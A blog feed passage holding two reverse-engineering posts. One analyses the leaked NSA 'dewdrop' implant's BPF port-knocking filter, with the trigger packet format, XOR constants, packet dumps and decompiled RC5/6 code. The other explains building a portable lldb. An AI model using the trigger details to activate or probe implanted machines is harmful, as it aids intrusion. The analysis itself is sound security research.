M[2] = 0x88 (136) l22: ld M[1] \u0026lt;- A = 178 (0xB2) l23: sub x \u0026lt;- A = 0xB2 - 0x88 = 42 (0x2A) l24: tax \u0026lt;- X = 42 (size of all headers up to the payload). 178 - 136 = 42 l25: ldh [x+0] \u0026lt;- 42 is the ICMP data offset in the packet - so all this just computes where the data starts - they call it the trigger - loads the data at packet offset 0x42. A = 0x7E29 l26: st M[3] \u0026lt;- M[3] = 0x7E29 l27: ldx M[2] \u0026lt;- X = 0x88 l28: ldb [23] \u0026lt;- loads the data at packet offset 23. A = 1 \u0026lt;- IP header protocol field, ICMP in this case l29: jeq #0x6, l30, l35 \u0026lt;- check if it\u0026#39;s TCP protocol l30: ldb [46] \u0026lt;- it\u0026#39;s TCP l31: rsh #2 \u0026lt;- l32: sub #20 \u0026lt;- l33: add x \u0026lt;- l34: tax \u0026lt;- l35: ldh [x+14] \u0026lt;- load half word from offset 0x88 + 0xE = 150 (0x96). A = 0xEC76 \u0026lt;- not sure what is this l36: st M[4] \u0026lt;- M[4] = 0xEC76 l37: ld M[1] \u0026lt;- A = 178 (0xB2) (total packet size) l38: sub #2 \u0026lt;- A = 176 l39: tax \u0026lt;- X = 176 l40: ldh [x+0] \u0026lt;- A = 0xE343 (load half word from packet offset 0xB0). \u0026lt;- It\u0026#39;s the last half word from the packet. l41: or #0x9d6a \u0026lt;- 0xE343 | 0x9D6A. A = 0xFF6B l42: st M[15] \u0026lt;- M[15] = 0xFF6B l43: ldh [x+0] \u0026lt;- A = 0xE343 l44: and #0x9d6a \u0026lt;- A = 0xE343 \u0026amp; 0x9D6A = 0x8142 l45: neg \u0026lt;- A = ~0x8142 + 1 = 0x7EBE l46: sub #1 \u0026lt;- A = 0x7EBD l47: tax \u0026lt;- X = 0x7EBD l48: ld M[15] \u0026lt;- A = 0xFF6B l49: and x \u0026lt;- A = 0xFF6B \u0026amp; 0x7EBD = 0x7E29 l50: tax \u0026lt;- X = 0x7E29 \u0026lt;- ((0xE343 | 0x9D6A) \u0026amp; (~(0xE343 \u0026amp; 0x9D6A) + 1) - 1) = 0x7E29 \u0026lt;- this is just 0xE343 ^ 0x9D6A = 0x7E29 \u0026lt;- this means that the last half word XOR 0x96DA must be \u0026lt;- equal to the trigger l51: ld M[4] \u0026lt;- A = 0xEC76 (the value at packet offset 0x96) l52: jeq x, l55, l53 \u0026lt;- OK if equal l53: ld M[3] \u0026lt;- A = 0x7E29 (the value at beginning of data payload) l54: jeq x, l55, l56 \u0026lt;- OK if equal l55: ret #0xffff \u0026lt;- WE HAVE A WINNER! l56: ret #0 \u0026lt;- Bad luck, maybe next packet? We can describe the format of the data payload:\nstruct __attribute__((packed)) payload { uint16_t trigger; // = checksum ^ 0x9D6A char data[128]; uint16_t size; // = sizeof(struct payload) ^ 0xE6CF uint16_t unknown; uint16_t checksum; }; // sizeof() = 136 bytes Log from the tool that does the port knocking (different packet):\nTRIGGER DATA COMMAND = 0x01 DESTINATION ADDRESS = 192.168.30.15 TRANSPORT PROTOCOL = icmp (1) TIME STAMP = Mon Apr 17 10:00:00 2017 (1492437600) TIME SKEW = 43200 ICMP TYPE, CODE = 8, 0 CALLBACK ADDRESS = 192.168.30.14:55555 SOURCE PORT = 55302 START OF TRIGGER = 0xdd67 The port knocking tool is extremely flexible and can send all kinds of packets and payloads. It supports TCP, UDP, ICMP, and besides raw packets it can produce DNS, SMTP, SIP application payloads. Can set different flags in TCP packets, for example, send a RST packet with the port knocking payload. Even has a PIX firewall bypass (SYN only packet). Pretty much port knocking on steroids.\nNext are some of the different packets it can build.\nSIP application packet:\ntcpdump 17:36:08.576977 IP (tos 0x0, ttl 64, id 2, offset 0, flags [none], proto TCP (6), length 342) 192.168.30.14.64778 \u0026gt; 192.168.30.15.acmsoda: Flags [.], cksum 0x69fe (correct), seq 32774:33076, ack 47681, win 32767, length 302 0x0000: 4500 0156 0002 0000 4006 bc32 c0a8 1e0e E..V....@..2.... 0x0010: c0a8 1e0f fd0a 1b39 0000 8006 0000 ba41 .......9.......A 0x0020: 5010 7fff 69fe 0000 5245 4749 5354 4552 P...i...REGISTER 0x0030: 2073 6970 3a61 2053 4950 2f32 2e30 0d0a .sip:a.SIP/2.0.. 0x0040: 546f 3a20 3837 203c 7369 703a 3130 3240 To:.87.\u0026lt;sip:102@ 0x0050: 7878 2e6e 6574 3e0d 0a46 726f 6d3a 2032 xx.net\u0026gt;..From:.2 0x0060: 3435 203c 7369 703a 3130 3140 7878 2e6e 45.\u0026lt;sip:101@xx.n 0x0070: 6574 3e0d 0a43 616c 6c2d 4944 3a20 3233 et\u0026gt;..Call-ID:.23 0x0080: 3334 3340 7071 7879 760d 0a43 5365 713a 343@pqxyv..CSeq: 0x0090: 2032 3720 5245 4749 5354 4552 0d0a 436f .27.REGISTER..Co 0x00a0: 6e74 6163 743a 203c 7369 703a 3130 3140 ntact:.\u0026lt;sip:101@ 0x00b0: 7878 2e6e 6574 3e0d 0a43 6f6e 7465 6e74 xx.net\u0026gt;..Content 0x00c0: 2d4c 656e 6774 683a 2031 3330 0d0a 1050 -Length:.130...P 0x00d0: 2545 647d a2e2 f84d 3281 31bf dcd8 3669 %Ed}...M2.1...6i 0x00e0: 4d73 a214 cb7f ff29 d61a 7e80 f543 8c71 Ms.....)..~..C.q 0x00f0: a7c8 b138 4fe8 59a8 02aa cecd c0c3 a94c ...8O.Y........L 0x0100: 2102 1938 58e4 32d6 3c4e f05a 9d9d be74 !..8X.2.\u0026lt;N.Z...t 0x0110: 0dd1 5617 6eb6 7f50 424b bf94 52e5 bc52 ..V.n..PBK..R..R 0x0120: a769 4bfa 47c6 31d2 989a 93e5 972b 2ff3 .iK.G.1......+/. 0x0130: 0987 6eec 5eed 3013 29dd 2e0f 5dcd 1c53 ..n.^.0.)...]..S 0x0140: 3943 4712 54f7 5688 6791 3313 0c82 b47a 9CG.T.V.g.3....z 0x0150: e647 1076 8d3a .G.v.: The trigger is 0x8d3a ^ 0x9d6a = 0x1050 (offset 0xCE).\nDNS packet:\ntcpdump 17:37:18.675460 IP (tos 0x0, ttl 64, id 2, offset 0, flags [none], proto TCP (6), length 233) 192.168.30.14.56331 \u0026gt; 192.168.30.15.acmsoda: Flags [.], cksum 0x40a1 (correct), seq 10342:10535, ack 48998, win 32767, length 193 0x0000: 4500 00e9 0002 0000 4006 bc9f c0a8 1e0e E.......@....... 0x0010: c0a8 1e0f dc0b 1b39 0000 2866 0000 bf66 .......9..(f...f 0x0020: 5010 7fff 40a1 0000 af99 0180 0001 0001 P...@........... 0x0030: 0000 0000 0231 3502 3330 0331 3638 0331 .....15.30.168.1 0x0040: 3932 0769 6e2d 6164 6472 0461 7270 6100 92.in-addr.arpa. 0x0050: 0010 0001 c00c 0010 0001 0000 ffff 0088 ................ 0x0060: 8718 4938 38d6 654b 6539 8033 da58 cc73 ..I88.eKe9.3.X.s 0x0070: 3a57 25a3 7c08 5e9e 7734 a126 f954 3879 :W%.|.^.w4.\u0026amp;.T8y 0x0080: 64bf 8f7b 741e 2e33 8cbd b07b c750 ae14 d..{t..3...{.P.. 0x0090: 819b d7f3 1742 1c05 2198 570d d509 f1a8 .....B..!.W..... 0x00a0: c323 da36 41b2 ca11 b955 dd59 67e2 d495 .#.6A....U.Yg... 0x00b0: fff3 e7cf 3ce7 33a2 6bc1 f8a3 5d98 9983 ....\u0026lt;.3.k...]... 0x00c0: 583f b3b9 289e c3b9 70bf 45e9 69eb db32 X?..(...p.E.i..2 0x00d0: 1a42 e586 220a fd23 77ad acff 75a2 027d .B..\u0026#34;..#w...u..} 0x00e0: 1a6c 83e6 4718 6f85 23 .l..G.o.# The trigger is 0x8523 ^ 0x9d6a = 0x1849 (offset 0x61).\nSMTP HELO packet:\ntcpdump 17:38:18.413178 IP (tos 0x0, ttl 64, id 2, offset 0, flags [none], proto TCP (6), length 181) 192.168.30.14.19215 \u0026gt; 192.168.30.15.acmsoda: Flags [.], cksum 0x790a (correct), seq 51209:51350, ack 1802, win 32767, length 141 0x0000: 4500 00b5 0002 0000 4006 bcd3 c0a8 1e0e E.......@....... 0x0010: c0a8 1e0f 4b0f 1b39 0000 c809 0000 070a ....K..9........ 0x0020: 5010 7fff 790a 0000 4845 4c4f 204f dc75 P...y...HELO.O.u 0x0030: eee6 2436 82ce 0567 a237 e408 c0c5 ea55 ..$6...g.7.....U 0x0040: 4425 df77 fb9f 1498 c2b5 3cd3 84cd 4178 D%.w......\u0026lt;...Ax 0x0050: e9f7 23e2 0f02 0ce7 7c36 8aa6 f4ea 43cd ..#.....|6....C. 0x0060: d1fe 2406 77b5 29a7 83c4 f497 5c06 75a5 ..$.w.).....\\.u. 0x0070: 1528 39a0 d80c 412f f35e 067d d857 ee1c .(9...A/.^.}.W.. 0x0080: 7f3d b09b f209 b8ad fff1 1f1d 52a8 87ca .=..........R... 0x0090: 73dc 5c1a 4a69 4205 f5d9 6836 6f09 be5e s.\\.JiB...h6o..^ 0x00a0: 6b87 7ad6 1138 de67 6c3b 33d8 98a4 35e6 k.z..8.gl;3...5. 0x00b0: 474f fad2 b6 GO... The trigger is 0xd2b6 ^ 0x9d6a = 0x4fdc (offset 0x2D).\nIn the port knocking tool we can find references to CORDIALFLIMSY. This appears to be the codename for the packet format (includes trigger and payload). Because the tool is to be used only by the attacker, it has a lot of debug messages and strings aren\u0026rsquo;t obfuscated. Guess they weren\u0026rsquo;t counting on losing all those tools.\nThe data contents are encrypted with RC5/6, and contain the callback address and port. In theory it would be possible to recover the callback hosts if we had network dumps of all the packets. The leaks contain traffic bouncer tools so these callback addresses should be just bouncer addresses.\nRegarding the RC5/6 code, we can find the same constant 0x61C88647 identified by Kaspersky as specific to the Equation group:\n__int64 __fastcall RC56_keysetup(int *a1, _DWORD *a2) { __int64 v2; // rax int i; // ecx int v4; // ecx int v5; // edi __int64 result; // rax int v7; // er10 unsigned int v8; // er11 int v9; // er14 int v10[7]; // [rsp+0h] [rbp-1Ch] v10[0] = *a1; v10[1] = a1[1]; v10[2] = a1[2]; *a2 = 0xB7E15163; v2 = 1LL; for ( i = 0x5618CB1C; ; i -= 0x61C88647 ) { a2[v2] = i; if ( v2 == 0x31 ) break; ++v2; } v4 = 0; v5 = 0x96; LODWORD(result) = 0; v7 = 0; v8 = 0; do { v7 = __ROL4__(a2[v8] + v4 + v7, 3); a2[v8] = v7; v9 = __ROL4__(v7 + v4 + v10[(unsigned int)result], (v7 + v4) \u0026amp; 0x1F); v10[(unsigned int)result] = v9; v8 = v8 - 50 * ((v8 + 1) / 0x32) + 1; result = (unsigned int)result - 3 * (((int)result + 1) / 3u) + 1; --v5; v4 = v9; } while ( v5 ); return result; } Stephen Checkoway wrote that Kaspersky analysis is wrong (the original URL is gone since 2019 or something).\nThe funny thing is that the macOS binary analysed here was most probably compiled with Clang 4.x (and Xcode 4.x) so his GCC theory might be wrong. Who knows? :-)\nbash $ otool -l dewdrop__v__3_3_2_2_x86_64-darwin Load command 10 cmd LC_LOAD_DYLIB cmdsize 56 name /usr/lib/libSystem.B.dylib (offset 24) time stamp 2 Thu Jan 1 01:00:02 1970 current version 159.1.0 compatibility version 1.0.0 The 159.1.0 version of /usr/lib/libSystem.B.dylib can be found in 10.7 SDK and at least Xcode 4.6.3. It\u0026rsquo;s a Lion 10.7.2 to 10.7.5 system library, and so it should be available in older Xcode versions. Xcode 4 was released between 2011 (4.0) and 2013 (4.6).\nbash $ otool -l /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.7.sdk/usr/lib/libSystem.B.dylib Load command 3 cmd LC_ID_DYLIB cmdsize 56 name /usr/lib/libSystem.B.dylib (offset 24) time stamp 1 Thu Jan 1 01:00:01 1970 current version 159.1.0 compatibility version 1.0.0 $ otool -l /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.8.sdk/usr/lib/libSystem.B.dylib Load command 3 cmd LC_ID_DYLIB cmdsize 56 name /usr/lib/libSystem.B.dylib (offset 24) time stamp 1 Thu Jan 1 01:00:01 1970 current version 169.3.0 compatibility version 1.0.0 $ uname -an Darwin lion.local 11.4.2 Darwin Kernel Version 11.4.2: Thu Aug 23 16:25:48 PDT 2012; root:xnu-1699.32.7~1/RELEASE_X86_64 x86_64 $ otool -l /usr/lib/libSystem.B.dylib Load command 3 cmd LC_ID_DYLIB cmdsize 56 name /usr/lib/libSystem.B.dylib (offset 24) time stamp 1 Thu Jan 1 01:00:01 1970 current version 159.1.0 compatibility version 1.0.0 There are some other hints that this codebase is quite old. For example, libpcap version is definitely between 0.9.6 and 0.9.8, all released in 2007. You can determine this via the struct pcap definition. Version 0.9.5 was released in 2006, and version 1.0.0 in 2008. Most probably someone around 2007 or 2008 forked one of 0.9.6-0.9.8 versions and modified it to remove all strings and error messages build up. Need to verify the other operating systems versions to see if they match this information and use the same shared libpcap codebase.\nConclusions The NSA toolset is pretty cool! I\u0026rsquo;m a big fan.\nYou can definitely see that architecture and code are carefully thought and engineered. They have been doing this for a long time and definitely have more resources than most (nation state) attackers. This isn\u0026rsquo;t some random proof of concept code. Almost every operating system is a target so their catalog is impressive. The problems of SIGINT and wanting to collect all the things.\nThere is no heavily obfuscated code, there are no hardcore anti-debugging measures, and no packers and/or cryptors used. They try to blend in and not be too unique. The leaked Lamberts (CIA) sample has similar ideas behind it. A common cyber philosophy? :-)\nBut they aren\u0026rsquo;t perfect (nobody is)! They suffer from the code reusage sin. For example, the same string obfuscation algorithm can be seen in other tools. The RC5/6 constant might be another example, if Kaspersky theory is right. Maybe this was true in the past, and the post ShadowBrokers future is better segmented.\nHindsight is always 20/20. It is very easy to detect the hacked machines after we have access to these tools and spend some time reverse engineering them. Four years ago I asked my friends at BinaryEdge to scan the Internet since this was their thing. Why reinvent the wheel if you know people who do great wheels?\nAsked them to send this type of packet and check for the answer. The result is that we managed to find a bunch of hacked machines all over the Internet. That\u0026rsquo;s the main reason why I never published this before and this post is just focused on the BPF program. I am just a curious reverse engineer ;-).\nI believe that the tools from the ShadowBrokers leaks are way more interesting than the exploits (altough the leaked exploits sure created a ton more damage worldwide). Reversing the tools allows you to understand a bit of their mindset, their engineering, and operations. And more important, appreciate their work. Here we care about bits and bytes.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2021/12/17/knock-knock-whos-there/","summary":"\u003cp\u003eBack in 2017 (feels like ages ago) I decided to take a peek into the ShadowBrokers leaks and reverse some of the tools.\u003c/p\u003e\n\u003cp\u003eI started on \u003ccode\u003edewdrop\u003c/code\u003e simply because it had a macOS version. I made local presentations at \u003ca href=\"https://www.meetup.com/0xOPOSEC/\"\u003e0xOpoSec\u003c/a\u003e and \u003ca href=\"https://www.bsideslisbon.org\"\u003eBSidesLisbon\u003c/a\u003e but those slides were never published for obvious reasons (aka live implants all over the Internet).\u003c/p\u003e\n\u003cp\u003eSignificant time has passed and everyone went crazy last week with the beautiful \u003ca href=\"https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html\"\u003eNSO exploit VM\u003c/a\u003e published by Project Zero, so why not ride the wave and present a simple NSA BPF VM. It is still an interesting work and you have to admire the great engineering that goes behind this code. It\u0026rsquo;s not everyday that you can take a peek at code developed by a well funded state actor.\u003c/p\u003e\n\u003cp\u003eThis post is only going to focus on the BPF part of the implant so you will have to fill in the blanks about everything else.\u003c/p\u003e","title":"Knock Knock! Who's There? - An NSA VM"},{"content":"Almost two years ago (when covid was just starting and we all happily ignored it) I wrote a post about implementing x86 hardware breakpoints in lldb. This critical debugger feature was missing from lldb. Probably because lldb main users are developers and not serious reverse engineers (lol!) dealing with malicious code and/or just reversing/cracking hostile software protections (cracking is the best and most fun RE target practice).\nThe build process described in that post worked but I wasn\u0026rsquo;t very happy with it - not easily portable between macOS systems. Some time ago I tried to fix it but I gave up since I wasn\u0026rsquo;t in the mood to deal with build systems problems.\nThis week I needed once again to add a feature to lldb. The debug registers aren\u0026rsquo;t directly available in lldb so we can\u0026rsquo;t display and modify them. Maybe we could with some Python hacks together with calling system APIs but that\u0026rsquo;s ugly and not fun.\nThis time I wanted to solve the portable build problem since I needed to use it in different computers and VMs. Nothing the like right incentive. Because lldb takes a while to compile I wanted to use my Ryzen 3950X for that task. Another incentive to make it portable. Technically only the first compile will take a while since we can use ccache to speed up other builds.\nThe lldb building documentation isn\u0026rsquo;t clear at all about creating a self-contained macOS app detached from Xcode.app structure. My goal was to have an app like Xcode or whatever Xcode Command Line Tools equivalent. The source code contains cmake files responsible for creating the Xcode.app. They are located at llvm-project/lldb/cmake/caches/, specifically Apple-lldb-macOS.cmake.\nA single static binary would be even better but this is not possible because of the split architecture between lldb (the frontend) and debugserver (the backend), plus Python scripting support.\nAfter some experiments, lots of frustration, and understanding some of the obstacles I finally built it the way I wanted. So let me guide you on that journey!\nThe first problem is Python. We definitely want to have Python scripting support otherwise lldbinit doesn\u0026rsquo;t work and makes lldb really annoying to use. It\u0026rsquo;s not a real debugger if it doesn\u0026rsquo;t have Softice looks.\nApple marked scripting languages as deprecated in default installs since Catalina (10.15). Python2 is dead so we definitely want to use Python3. In newer macOS versions python3 is just a stub to install Xcode or Xcode Command Line Tools.\nThis means that there are filesystem differences between macOS versions. High Sierra and Mojave have a Python.framework located at /Library/Frameworks, while in Catalina and Big Sur it can be found at /Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/. There is also the problem of different Python versions (3.7 vs 3.8 at least).\nPlus, the lldb Caveats documentation has the following note about Python:\nTo make this possible, LLDB links against the Python shared library. Linking against Python comes with some constraints to be aware of.\nIt is not possible to build and link LLDB against a Python 3 library and use it from Python 2 and vice versa.\nIt is not possible to build and link LLDB against one distribution on Python and use it through a interpreter coming from another distribution. For example, on macOS, if you build and link against Python from python.org, you cannot import the lldb module from the Python interpreter installed with Homebrew.\nTo use third party Python packages from inside LLDB, you need to install them using a utility (such as pip) from the same Python distribution as the one used to build and link LLDB.\nThe previous considerations are especially important during development, but apply to binary distributions of LLDB as well.\nApple\u0026rsquo;s lldb has no problems since it packs its own Python.framework with each Xcode version on newer macOS, or uses system Python in older OSes. I want to have a single distributable app so the Python problem needs to be solved.\nIf Apple can do it with Xcode.app so we (possibly) can. The question is how. I thought it could be complicated but turned out rather easy.\nPython source code has everything needed to build a macOS framework so no Apple proprietary magic involved. We just need to build Python from source code and configure the framework installation into our app bundle. The app is called lldb-ng (how creative!).\nI build a universal ARM64/x86_64 Python since my goal is to build a universal custom lldb (haven\u0026rsquo;t managed yet). If you don\u0026rsquo;t need that you can save some space and remove --enable-universalsdk --with-universal-archs=universal2 from configure options below.\nThe build system I used is running macOS Catalina 10.15.7 and Xcode 12.4, on top of a Ryzen 3950X KVM+QEMU VM. The detailed post on how to build this kind of system is still in draft, sorry!\nbash mkdir ~/src cd ~/src curl -L -O https://www.python.org/ftp/python/3.9.6/Python-3.9.6.tgz tar xfz Python-3.9.6.tgz cd Python-3.9.6 CFLAGS=\u0026#34;-mmacosx-version-min=10.13\u0026#34; ./configure --enable-framework=/Applications/lldb-ng.app/Contents/Frameworks/ --enable-universalsdk --with-universal-archs=universal2 --enable-optimizations make -j8 sudo make install Add the macosx-version-min option to CFLAGS to build support for older macOS versions other than build machine.\nBefore compiling and installing things maybe you should verify the package signature. Assuming you have GPG Suite installed:\nbash curl -L -O https://www.python.org/ftp/python/3.9.6/Python-3.9.6.tgz.asc curl https://keybase.io/bp/pgp_keys.asc | gpg --import gpg --verify Python-3.9.6.tgz.asc If signature is bad, download and verify again and pray that you and/or python.org are not under attack. Or just go full YOLO and don\u0026rsquo;t check signature.\nAfter everything is finished the Python.framework will be installed at /Applications/lldb-ng.app/Contents/Frameworks. We are directly building the app in /Applications, which is a bit weird. We could probably use a chroot or something to workaround this. Since I have a VM for this build I don\u0026rsquo;t care much. We will need to link against this Python version when building lldb so this is maybe the simplest way to do it and avoid further build hacks. I am not an expert in build systems.\nThe install phase will also install symlinks in /usr/local/bin. If you are not using a dedicated build system and have a Python install from the official site you might have conflicts. A possible workaround is to check the Makefile and issue each install step except the one that creates the symlinks.\nIf everything went well we have a working Python3 copy in the app bundle already.\n% /Applications/lldb-ng.app/Contents/Frameworks/Python.framework/Versions/3.9/bin/python3 Python 3.9.6 (default, Jul 16 2021, 02:41:04) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin Type \u0026#34;help\u0026#34;, \u0026#34;copyright\u0026#34;, \u0026#34;credits\u0026#34; or \u0026#34;license\u0026#34; for more information. \u0026gt;\u0026gt;\u0026gt; Before compiling lldb we need to install other dependencies (these are the versions I have used):\nCMake (3.20.5) PCRE (8.45) SWIG (4.0.2) Ninja (1.10.2) I have built and installed all these dependencies from source code. If you are a Homebrew user it should work since they are only used for building not in lldb itself.\nAfter everything is installed we can finally deal with lldb build. We can build out of git repo or from a specific release source package(s). I use the 12.0.1 source package since it\u0026rsquo;s a faster download and I don\u0026rsquo;t need git history or newer code other than a stable release. It\u0026rsquo;s also easier to build out of llvm-project instead of lldb source package since parts of llvm are required to build lldb (all llvm projects were unified into a single git some time ago).\nbash cd ~/src curl -L -O https://github.com/llvm/llvm-project/releases/download/llvmorg-12.0.1/llvm-project-12.0.1.src.tar.xz tar xfz llvm-project-12.0.1.src.tar.xz To verify the signature (funny enough the key expired two years ago):\nbash curl -L -O https://github.com/llvm/llvm-project/releases/download/llvmorg-12.0.1/llvm-project-12.0.1.src.tar.xz.sig curl -L https://github.com/llvm/llvm-project/releases/download/llvmorg-9.0.1/tstellar-gpg-key.asc | gpg --import gpg --verify llvm-project-12.0.1.src.tar.xz.sig I created a custom cmake configuration that contains all the settings necessary to build into the app bundle. All the build magic is here.\nbash cd ~/src cat \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; \u0026gt;standalone.cmake set(CMAKE_BUILD_TYPE Release CACHE STRING \u0026#34;\u0026#34;) set(CMAKE_EXPORT_COMPILE_COMMANDS ON CACHE BOOL \u0026#34;\u0026#34;) set(LLVM_TARGETS_TO_BUILD X86;ARM;AArch64 CACHE STRING \u0026#34;\u0026#34;) set(LLVM_ENABLE_PROJECTS clang;lldb CACHE STRING \u0026#34;\u0026#34;) set(LLDB_INCLUDE_TESTS OFF CACHE BOOL \u0026#34;\u0026#34;) set(LLDB_SKIP_STRIP ON CACHE BOOL \u0026#34;\u0026#34;) set(LLDB_NO_INSTALL_DEFAULT_RPATH OFF CACHE BOOL \u0026#34;\u0026#34;) set(CMAKE_OSX_DEPLOYMENT_TARGET 10.13 CACHE STRING \u0026#34;\u0026#34;) set(LLVM_CCACHE_BUILD ON CACHE BOOL \u0026#34;\u0026#34;) set(LLDB_BUILD_FRAMEWORK OFF CACHE BOOL \u0026#34;\u0026#34;) set(CMAKE_INSTALL_PREFIX /Applications/lldb-ng.app/Contents/usr CACHE STRING \u0026#34;\u0026#34;) set(LLDB_ENABLE_PYTHON ON CACHE BOOL \u0026#34;\u0026#34;) set(LLDB_EMBED_PYTHON_HOME OFF CACHE BOOL \u0026#34;\u0026#34;) set(Python3_ROOT_DIR \u0026#34;/Applications/lldb-ng.app/Contents/Frameworks/Python.framework/Versions/3.9/\u0026#34; CACHE STRING \u0026#34;\u0026#34;) set(LLDB_PYTHON_HOME \u0026#34;/Applications/lldb-ng.app/Contents/Frameworks/Python.framework/Versions/3.9/bin\u0026#34; CACHE STRING \u0026#34;\u0026#34;) set(LLVM_DISTRIBUTION_COMPONENTS lldb liblldb lldb-argdumper darwin-debug debugserver lldb-python-scripts CACHE STRING \u0026#34;\u0026#34;) EOF It is configured to use ccache. If you don\u0026rsquo;t want to use it then set LLVM_CCACHE_BUILD to OFF or remove that line.\nThe essential settings are:\nLLDB_NO_INSTALL_DEFAULT_RPATH OFF: takes care of setting rpath so library references are correct. LLDB_BUILD_FRAMEWORK OFF: don\u0026rsquo;t build LLDB.framework as in Xcode. Instead a dynamic library liblldb.dylib is built. I had problems before with the framework and didn\u0026rsquo;t try to make it work in this build. CMAKE_INSTALL_PREFIX: the installation path for the binaries. I kept the usr part, maybe remove and we end up with bin and lib folders in Contents root. Python3_ROOT_DIR: overrides Python3 search path, otherwise it will not use the version we installed in the app bundle. Without this the binaries would reference the Xcode or system Python and break our portability goal. LLDB_PYTHON_HOME: path to our Python framework. LLDB_EMBED_PYTHON_HOME OFF: don\u0026rsquo;t store PYTHON_HOME path in the binary (this leads to Python startup issues if set). LLDB_INCLUDE_TESTS is set to off otherwise you need to build libcxx for tests to work (add it to LLVM_ENABLE_PROJECTS setting). I\u0026rsquo;m building out of a stable release so YOLO.\nFirst step is to generate ninja build files. You will need a code signing certificate from Apple otherwise setup a self signing certificate. If you use a self-signing certificate you need to install the certificate in every system where you want to use this version, so hurts portability a bit. The build system expects the certificate to be in the System keychain (weird!) otherwise you might have an error about not finding the code signing identity. Modify LLDB_CODESIGN_IDENTITY variable below (you just need to use the user id/OU number otherwise the common name can mess up scripts).\nCMake Warning at /Users/user/src/llvm-project-12.0.1.src/lldb/tools/debugserver/source/CMakeLists.txt:32 (message): LLDB_CODESIGN_IDENTITY not found: \u0026#39;XXXXXXXXX\u0026#39; This will cause failures in the test suite.Pass \u0026#39;-DLLDB_USE_SYSTEM_DEBUGSERVER=ON\u0026#39; to use the system one instead.See \u0026#39;Code Signing on macOS\u0026#39; in the documentation. Call Stack (most recent call first): /Users/user/src/llvm-project-12.0.1.src/lldb/tools/debugserver/source/CMakeLists.txt:95 (get_debugserver_codesign_identity) The debugserver binary needs to be signed to be able to attach to processes (lldb process is just the frontend to the debugger). There is some code signing certificate incompatibility if built on Catalina or Big Sur and then try to use in High Sierra (debugserver will fail to attach because taskgated will not permit it due to code signing error). I have yet to check where is the problem and how to solve it. Mojave or higher it works without problems.\nbash cd ~/src cmake -B lldb-build -G Ninja \\ -C standalone.cmake \\ -DLLDB_CODESIGN_IDENTITY=\u0026#34;INSERT ID HERE\u0026#34; \\ llvm-project-12.0.1.src/llvm And start compiling everything:\nbash ninja -C lldb-build lldb ninja -C lldb-build debugserver ninja -C lldb-build darwin-debug The lldb target takes the longest to complete. Around 20 mins on a M1 (tested with a native ARM64 build only), and 9 mins on a Ryzen 3950X macOS VM (with all 16 cores/32 threads attributed).\nAfter everything is compiled we just need to install the components.\nbash sudo ninja -C lldb-build install-lldb sudo ninja -C lldb-build install-debugserver sudo ninja -C lldb-build install-liblldb sudo ninja -C lldb-build install-lldb-python-scripts sudo ninja -C lldb-build install-darwin-debug You might want to create a link in /usr/local/bin to differentiate from Xcode\u0026rsquo;s lldb:\nbash sudo ln -s /Applications/lldb-ng.app/Contents/usr/bin/lldb /usr/local/bin/lldb-ng And finally verify if everything is working as expected.\nbash % lldb-ng /usr/local/bin/lldb-ng [+] Loaded lldbinit version: 2.0.205 (lldbinit) target create \u0026#34;/usr/local/bin/lldb-ng\u0026#34; Current executable set to \u0026#39;/usr/local/bin/lldb-ng\u0026#39; (x86_64). (lldbinit) version lldb version 12.0.1 (lldbinit) script Python Interactive Interpreter. To exit, type \u0026#39;quit()\u0026#39;, \u0026#39;exit()\u0026#39; or Ctrl-D. \u0026gt;\u0026gt;\u0026gt; sys.version \u0026#39;3.9.6 (default, Jul 16 2021, 02:41:04) \\n[Clang 12.0.0 (clang-1200.0.32.29)]\u0026#39; \u0026gt;\u0026gt;\u0026gt; ^D now exiting InteractiveConsole... (lldbinit) process launch -s (...) Process 32547 stopped * thread #1, stop reason = signal SIGSTOP frame #0: 0x0000000100065000 dyld`_dyld_start Process 32547 launched: \u0026#39;/usr/local/bin/lldb-ng\u0026#39; (x86_64) (lldbinit) We need to verify if everything is linked and loaded as expected and if it\u0026rsquo;s using the correct debugserver version.\nbash % vmmap 32546 Process: lldb [32546] Path: /Applications/lldb-ng.app/Contents/usr/bin/lldb Load Address: 0x1018f2000 Identifier: lldb Version: ??? Code Type: X86-64 Platform: macOS Parent Process: zsh [85425] Date/Time: 2021-07-16 05:37:35.173 +0100 Launch Time: 2021-07-16 05:35:08.134 +0100 OS Version: Mac OS X 10.15.7 (19H114) Report Version: 7 Analysis Tool: /Applications/Xcode12.4.app/Contents/Developer/usr/bin/vmmap Analysis Tool Version: Xcode 12.4 (12D4e) ---- Virtual Memory Map of process 32546 (lldb) Output report format: 2.4 -- 64-bit process VM page size: 4096 bytes ==== Non-writable regions for process 32546 REGION TYPE START - END [ VSIZE RSDNT DIRTY SWAP] PRT/MAX SHRMOD PURGE REGION DETAIL __TEXT 1018f2000-101932000 [ 256K 256K 0K 0K] r-x/r-x SM=COW /Applications/lldb-ng.app/Contents/usr/bin/lldb __LINKEDIT 10193a000-101953000 [ 100K 100K 0K 0K] r--/r-- SM=COW /Applications/lldb-ng.app/Contents/usr/bin/lldb __LINKEDIT 101953000-101956000 [ 12K 0K 0K 0K] r--/r-- SM=NUL /Applications/lldb-ng.app/Contents/usr/bin/lldb __TEXT 101956000-101bd6000 [ 2560K 2560K 0K 0K] r-x/rwx SM=COW ...tions/lldb-ng.app/Contents/Frameworks/Python.framework/Versions/3.9/Python __DATA_CONST 101bd6000-101bde000 [ 32K 32K 20K 0K] r--/rwx SM=COW ...tions/lldb-ng.app/Contents/Frameworks/Python.framework/Versions/3.9/Python __LINKEDIT 101c36000-101d14000 [ 888K 888K 0K 0K] r--/rwx SM=COW ...tions/lldb-ng.app/Contents/Frameworks/Python.framework/Versions/3.9/Python __TEXT 103e3d000-107dc5000 [ 63.5M 63.5M 0K 0K] r-x/rwx SM=COW /Applications/lldb-ng.app/Contents/usr/lib/liblldb.12.0.1.dylib __LINKEDIT 1082c5000-108ea4000 [ 11.9M 11.9M 0K 0K] r--/rwx SM=COW /Applications/lldb-ng.app/Contents/usr/lib/liblldb.12.0.1.dylib We can see that the lldb process is using the correct Python framework and lldb 